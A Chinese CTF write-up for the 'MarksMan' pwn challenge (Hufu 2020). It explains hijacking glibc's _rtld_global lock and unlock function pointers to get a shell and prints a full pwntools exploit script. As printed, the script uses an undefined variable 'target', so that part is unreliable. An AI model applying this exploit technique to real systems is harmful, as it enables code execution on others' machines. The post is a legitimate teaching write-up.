虎符网安大赛2020

  1. 虎符网安大赛2020
    1. MarksMan

虎符网安大赛2020

MarksMan

程序逻辑清晰,puts地址白给。提供一个地址连续三个字节写。

此处无故开启dlopen,猜测出题人为了利用里面的关键函数而强行给出的。gdb跟进去调试。

根据函数名称可知,调用了加锁函数。那么想必后面肯定有解锁。

这里调用了指针函数,指针位于数据段,可写。

再往下调试,果然,遇见了解锁函数。

发现此时rdi指向的 _rtld_global+2312 ,此处可写。计算得到 lock 函数与此处距离1528个字节。

看一下其他地方有无调用这个加锁解锁函数。

给这两个地方下断。

程序退出调用exit后,会执行到加锁函数。那么攻击思路就浮出水面了。

  • 篡改函数指针 _rtld_global._dl_rtld_unlock_recursivegets

  • 向rdi写入 /bin/sh\x00 + padding + system。 这样可覆盖 _rtld_global._dl_rtld_lock_recursive

exp

from pwn import * 
import primedbg 
import sys 
context.arch='amd64'
z=process('./chall')
libc=ELF('./libc.so.6',False)
z.recvuntil(' near: ')

if len(sys.argv)>1:

    sub_script=[
        'directory glibc-2.27/stdlib/',
        # 'directory glibc-2.27/elf',
        #'b *_dl_open+60'
        'b *_dl_open+236 \n',
        #b *rtld_lock_default_lock_recursive\n,
    ]

    script='\n'.join(sub_script)+'\n'
    primedbg.attach_dbg_pie(z,[0xd63],[],script)
    #call rdx 274495 
    # 0x7f1a42b4ca09 <_dl_fini+105>    call   qword ptr [rip + 0x218551] #6314505

puts_adr=int(z.recv(14),16)
lib_base=puts_adr-0x809c0  
func_ptr=lib_base+  8511336 #_rtld_global._dl_rtld_unlock_recursive
gets_adr=lib_base+0x800b0
sys_adr=lib_base+0x4f440

one=gets_adr
o1=one&0xff 
o2=(one&0xff00)>>8
o3=(one&0xff0000)>>16
success('one_gadgets: %x\n(%x,%x,%x)'%(one,o1,o2,o3))
success('libc: %#x\ngets: %#x'%(lib_base,gets_adr))

z.sendlineafter('t!shoot!',str(target))
z.sendlineafter('iang!\n',chr(o1))
z.sendlineafter('iang!\n',chr(o2))
z.sendlineafter('iang!\n',chr((o3)))


payload= '/bin/sh\x00'+p64(0x0)*190+p64(sys_adr) # write _rtld_global._dl_rtld_lock_recursive
sleep(0.1)
z.sendline(payload)

z.interactive()


# 0x7fbabaf51f60 _rtld_global+3840 _rtld_global._dl_rtld_lock_recursive
# 0x7fbabaf51f68 <_rtld_global+3848> _rtld_global._dl_rtld_unlock_recursive

转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论。

文章标题:虎符网安大赛2020

本文作者:枫云李

发布时间:2020-04-23, 12:50:42

最后更新:2020-04-23, 13:54:57

原始链接:https://primelyw.github.io/2020/04/23/%E8%99%8E%E7%AC%A6%E7%BD%91%E5%AE%89%E5%A4%A7%E8%B5%9B2020/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
github